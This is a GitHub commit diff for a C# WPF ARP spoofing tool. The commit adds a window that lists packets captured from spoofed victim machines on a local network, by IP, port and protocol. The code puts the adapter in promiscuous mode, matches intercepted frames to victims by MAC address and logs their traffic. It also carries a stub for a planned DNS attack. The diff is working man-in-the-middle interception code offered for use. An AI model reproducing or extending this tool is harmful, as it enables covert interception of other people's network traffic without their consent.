Skip to content

Commit

Permalink
add detail
Browse files Browse the repository at this point in the history
  • Loading branch information
BruceQiu1996 committed Mar 28, 2024
1 parent 9303f7c commit e3dac98
Show file tree
Hide file tree
Showing 6 changed files with 171 additions and 28 deletions.
1 change: 0 additions & 1 deletion ARPSpoofing/ARPSpoofing.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,6 @@

<ItemGroup>
<PackageReference Include="PacketDotNet" Version="1.4.7" />
<PackageReference Include="PcapDotNet" Version="0.10.2" />
<PackageReference Include="SharpPcap" Version="6.3.0" />
<PackageReference Include="CommunityToolkit.Mvvm" Version="8.0.0" />
<PackageReference Include="Microsoft.Xaml.Behaviors.Wpf" Version="1.1.39" />
Expand Down
28 changes: 28 additions & 0 deletions ARPSpoofing/Detail.xaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
<Window x:Class="ARPSpoofing.Detail"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
xmlns:local="clr-namespace:ARPSpoofing"
mc:Ignorable="d"
Title="查看详情" Height="450" Width="800">
<Grid>
<Grid.RowDefinitions>
<RowDefinition Height="50"></RowDefinition>
<RowDefinition Height="*"></RowDefinition>
</Grid.RowDefinitions>

<TextBlock Text="{Binding ArpAttackComputer.IPAddress,UpdateSourceTrigger=PropertyChanged}" FontSize="18" FontWeight="Bold"
VerticalAlignment="Center" Margin="5"></TextBlock>

<DataGrid ItemsSource="{Binding ArpAttackComputer.Packets,UpdateSourceTrigger=PropertyChanged}" Grid.Row="1" AutoGenerateColumns="False">
<DataGrid.Columns>
<DataGridTextColumn Header="类型" Binding="{Binding Type}" Width="*"></DataGridTextColumn>
<DataGridTextColumn Header="源ip地址" Binding="{Binding SourceIpAddress}" Width="*"></DataGridTextColumn>
<DataGridTextColumn Header="目的ip地址" Binding="{Binding TargetIpAddress}" Width="*"></DataGridTextColumn>
<DataGridTextColumn Header="源端口" Binding="{Binding SourcePort}" Width="*"></DataGridTextColumn>
<DataGridTextColumn Header="目的端口" Binding="{Binding TargetPort}" Width="*"></DataGridTextColumn>
</DataGrid.Columns>
</DataGrid>
</Grid>
</Window>
16 changes: 16 additions & 0 deletions ARPSpoofing/Detail.xaml.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
using System.Windows;

namespace ARPSpoofing
{
/// <summary>
/// Interaction logic for Detail.xaml
/// </summary>
public partial class Detail : Window
{
public Detail(DetailViewModel detailViewModel)
{
InitializeComponent();
DataContext = detailViewModel;
}
}
}
9 changes: 9 additions & 0 deletions ARPSpoofing/DetailViewModel.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
using CommunityToolkit.Mvvm.ComponentModel;

namespace ARPSpoofing
{
public class DetailViewModel : ObservableObject
{
public ArpAttackComputer ArpAttackComputer { get; set; }
}
}
2 changes: 1 addition & 1 deletion ARPSpoofing/MainWindow.xaml
Original file line number Diff line number Diff line change
Expand Up @@ -167,6 +167,7 @@
<ListBox.ContextMenu>
<ContextMenu>
<MenuItem Header="取消攻击" Command="{Binding StopCallTargetComputerCommand}"></MenuItem>
<MenuItem Header="查看详情" Command="{Binding WatchDetailCommand}"></MenuItem>
</ContextMenu>
</ListBox.ContextMenu>
<ListBox.ItemsPanel>
Expand Down Expand Up @@ -215,7 +216,6 @@
</ListBox.ItemContainerStyle>
</ListBox>
</TabItem>
<TabItem Header="DNS劫持列表"></TabItem>
</TabControl>
</Grid>
</Window>
143 changes: 117 additions & 26 deletions ARPSpoofing/MainWindowViewModel.cs
Original file line number Diff line number Diff line change
@@ -1,7 +1,6 @@
using CommunityToolkit.Mvvm.ComponentModel;
using CommunityToolkit.Mvvm.Input;
using PacketDotNet;
using PacketDotNet.Ieee80211;
using SharpPcap;
using SharpPcap.LibPcap;
using System;
Expand Down Expand Up @@ -175,7 +174,7 @@ public bool IsAttacking
public RelayCommand StopScanCommand { get; set; }
public RelayCommand CallTargetComputerCommand { get; set; } //攻击目标主机
public RelayCommand StopCallTargetComputerCommand { get; set; }

public RelayCommand WatchDetailCommand { get; set; }
public MainWindowViewModel()
{
IsScanning = false;
Expand All @@ -186,6 +185,7 @@ public MainWindowViewModel()
StopScanCommand = new RelayCommand(StopScan);
CallTargetComputerCommand = new RelayCommand(CallTargetComputer);
StopCallTargetComputerCommand = new RelayCommand(StopCallTargetComputer);
WatchDetailCommand = new RelayCommand(WatchDetail);
_cancellationTokenSource = new CancellationTokenSource();
ArpAttackComputers = new ObservableCollection<ArpAttackComputer>();
}
Expand All @@ -200,7 +200,7 @@ private void Loaded()
{
LibPcapLiveDevice = null;
MessageBox.Show("网卡数量不足", "错误", MessageBoxButton.OK, MessageBoxImage.Error);
return;
return;
}

LibPcapLiveDevice = LibPcapLiveDevices.FirstOrDefault();
Expand Down Expand Up @@ -243,7 +243,7 @@ private void ShiftDevice()

var gw = LibPcapLiveDevice.Interface.GatewayAddresses; // 网关IP
//ipv4的gateway
GatewayIp = gw?.FirstOrDefault(x => x.AddressFamily == AddressFamily.InterNetwork);
GatewayIp = gw?.FirstOrDefault(x => x.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork);
if (GatewayIp == null)
return;

Expand All @@ -252,34 +252,88 @@ private void ShiftDevice()
GatewayMac = Resolve(GatewayIp);
}

private void WatchDetail()
{
var targets = ArpAttackComputers.Where(x => x.IsSelected).ToList();
foreach (var item in targets)
{
DetailViewModel detailViewModel = new DetailViewModel();
detailViewModel.ArpAttackComputer = item;

Detail detail = new Detail(detailViewModel);

detail.Show();
}
}

/// <summary>
/// 监听到攻击的网卡收到的数据包
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void OnPacketArrival(object sender, PacketCapture e)
{
var device = sender as LibPcapLiveDevice;
var packet = Packet.ParsePacket(e.Device.LinkType, e.Data.ToArray());
if (packet != null)
try
{
if (packet is EthernetPacket ethernetPacket)
var device = sender as LibPcapLiveDevice;
var packet = Packet.ParsePacket(e.Device.LinkType, e.Data.ToArray());
if (packet != null)
{
IPPacket ipPacket = ethernetPacket.Extract<IPPacket>();
if (ipPacket == null) return;
if (ipPacket.SourceAddress.ToString() == "192.168.1.2")
if (packet is EthernetPacket ethernetPacket) //数据包是以太网数据
{
//var tempTcpPacket = new TcpPacket(outerTcpPacket.SourcePort, outerTcpPacket.DestinationPort);
//tempTcpPacket.PayloadData = outerTcpPacket.PayloadData;

//IPv4Packet tempIpV4Packet = new IPv4Packet(outerIpPacket.SourceAddress, outerIpPacket.DestinationAddress);
////ipPacket.Version = 4;
//tempIpV4Packet.HeaderLength = (byte)(IPv4Fields.HeaderLength + (tempTcpPacket.Options.Count() * 1));
////ipPacket.typ = 0;
//tempIpV4Packet.TotalLength = (ushort)(tempIpV4Packet.HeaderLength + tempTcpPacket.Bytes.Length);
//tempIpV4Packet.TimeToLive = 128;
//tempIpV4Packet.Protocol = PacketDotNet.ProtocolType.Tcp;
//tempIpV4Packet.PayloadPacket = tempTcpPacket;
ethernetPacket.DestinationHardwareAddress = GatewayMac;
device.SendPacket(ethernetPacket);
var targetComputer = ArpAttackComputers.FirstOrDefault(x => x.MacAddress == ethernetPacket.SourceHardwareAddress.ToString());

if (targetComputer != null)
{
var ipPacket = ethernetPacket.Extract<IPPacket>();
if (ipPacket != null)
{
var packetViewModel = new PacketViewModel();
packetViewModel.SourceIpAddress = ipPacket.SourceAddress.ToString();
packetViewModel.TargetIpAddress = ipPacket.DestinationAddress.ToString();

var udpPacket = ipPacket.Extract<UdpPacket>();
var tcpPacket = ipPacket.Extract<TcpPacket>();
packetViewModel.Type = "IP";
//try
//{
// CancellationTokenSource cts = new CancellationTokenSource();
// cts.CancelAfter(500);
// IPHostEntry hostEntry = Dns.GetHostEntryAsync(packetViewModel.TargetIpAddress, cts.Token).ConfigureAwait(false).GetAwaiter().GetResult();
// packetViewModel.Domain = hostEntry.Aliases == null ? null : hostEntry.Aliases.FirstOrDefault();
//}
//catch (Exception) { }

if (udpPacket != null)
{
packetViewModel.SourcePort = udpPacket.SourcePort;
packetViewModel.TargetPort = udpPacket.DestinationPort;
packetViewModel.Type = "UDP";
}

if (tcpPacket != null)
{
packetViewModel.SourcePort = tcpPacket.SourcePort;
packetViewModel.TargetPort = tcpPacket.DestinationPort;
packetViewModel.Type = "TCP";
}

targetComputer.AddPacket(packetViewModel);
}
else
{
///mac地址没啥好记录的都知道了
var packetViewModel = new PacketViewModel();
packetViewModel.Type = "以太网";
targetComputer.AddPacket(packetViewModel);
}
}
}
}
}
catch (Exception)
{
}
}

/// <summary>
Expand Down Expand Up @@ -487,7 +541,7 @@ private void CallTargetComputer()
LibPcapLiveDevice.Open(DeviceModes.Promiscuous, 20);
LibPcapLiveDevice.Filter = "ether dst " + LocalMac.ToString();
LibPcapLiveDevice.StartCapture();

}
foreach (var compute in target)
{
Expand Down Expand Up @@ -601,7 +655,7 @@ public class ArpAttackComputer : ObservableObject
public Task ArpAttackTask { get; set; }
public Task DnsAttackTask { get; set; } //todo define dns attack
public CancellationTokenSource CancellationTokenSource { get; set; }

public ObservableCollection<PacketViewModel> Packets { get; set; }
private double _value;
public double Value
{
Expand All @@ -612,6 +666,7 @@ public double Value
public ArpAttackComputer()
{
CancellationTokenSource = new CancellationTokenSource();
Packets = new ObservableCollection<PacketViewModel>();
Task.Run(async () =>
{
while (true)
Expand All @@ -630,6 +685,23 @@ public ArpAttackComputer()
});
}

private object _lock = new object();
public void AddPacket(PacketViewModel packetViewModel)
{
lock (_lock)
{
Application.Current.Dispatcher.Invoke(() =>
{
if (Packets.Count >= 512)
{
Packets.RemoveAt(0);
}

Packets.Add(packetViewModel);
});
}
}

/// <summary>
/// 发送arp诈骗
/// </summary>
Expand All @@ -643,4 +715,23 @@ internal void CancelTask()
CancellationTokenSource?.Cancel();
}
}

/// <summary>
/// 被arp欺骗的电脑数据包
/// </summary>
public class PacketViewModel : ObservableObject
{
/// <summary>
/// 网络层
/// </summary>
public string SourceIpAddress { get; set; }
public string TargetIpAddress { get; set; }
/// <summary>
/// 传输层
/// </summary>
public ushort SourcePort { get; set; }
public ushort TargetPort { get; set; }
public string Type { get; set; }
public string Domain { get; set; }
}
}

0 comments on commit e3dac98

Please sign in to comment.